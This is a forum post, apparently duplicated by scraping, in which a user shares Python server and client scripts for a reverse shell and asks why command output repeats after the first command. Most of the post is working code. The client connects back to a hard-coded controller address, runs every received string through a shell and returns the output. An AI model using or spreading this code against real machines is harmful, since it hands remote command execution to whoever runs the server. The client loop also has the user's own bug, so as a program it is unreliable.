Hi all,
So i'm trying to create a reverse shell client/server program.
So far i'm able to listen for connections and execute the first command.
after the first command the client/server goes nuts and returns the same result multiple times for every command.
if I type "exit" -
THAT it knows! (great! exit is the last thing I want in that script lol!)
so here's my server code and client code, perhaps you'll see the obviouse thing i'm missing. :)
Server Script:
he's a screenshot of the output:
![[Image: 9icC3.jpg]](https://i.stack.imgur.com/9icC3.jpg)
Thank you for your time!
So i'm trying to create a reverse shell client/server program.
So far i'm able to listen for connections and execute the first command.
after the first command the client/server goes nuts and returns the same result multiple times for every command.
if I type "exit" -
THAT it knows! (great! exit is the last thing I want in that script lol!)
so here's my server code and client code, perhaps you'll see the obviouse thing i'm missing. :)
Server Script:
import socket
def reverse_server():
host = '192.168.136.131'
port = 5000
buffer_size = 1024
soc = socket.socket()
soc.bind((host, port))
soc.listen()
print("Waiting for connections...")
client_socket, client_address = soc.accept()
print(f"Connection from: {client_address}")
while True:
try:
command = input(r'Shell>>')
if str(command) == "exit":
client_socket.close()
break
client_socket.send(str(command).encode())
results = client_socket.recv(buffer_size).decode()
print(f"{results}")
except (ConnectionAbortedError, ConnectionResetError, ConnectionError) as e:
print(f"Connection closed. {e}")
client_socket.close()
soc.close()
exit()
reverse_server()Client Script:def client():
server_host = '192.168.136.131'
server_port = 5000
buffer_size = 1024
soc = socket.socket()
soc.connect((server_host, server_port))
try:
while True:
command = soc.recv(buffer_size).decode()
while str(command.lower()) != 'exit':
if command.lower() == 'exit':
soc.close()
exit()
elif len(command.lower()) > 0:
cmd = subprocess.Popen(command[:], shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read()
output_err = cmd.stderr.read()
output_err_str = str(output_err, "utf-8")
output_str = str(output_bytes, "utf-8")
if len(output_err) > 0:
soc.send(str.encode(output_err_str))
output_err = str('')
cmd.stdin.flush()
command = soc.recv(buffer_size).decode()
soc.send(str.encode(output_str + '\n'))
else:
msg = 'Command undefined'.encode()
soc.send(msg)
command = soc.recv(buffer_size).decode()
except ConnectionError:
print("Remote server closed the connection.")
soc.close()
exit() he's a screenshot of the output:
![[Image: 9icC3.jpg]](https://i.stack.imgur.com/9icC3.jpg)
Thank you for your time!
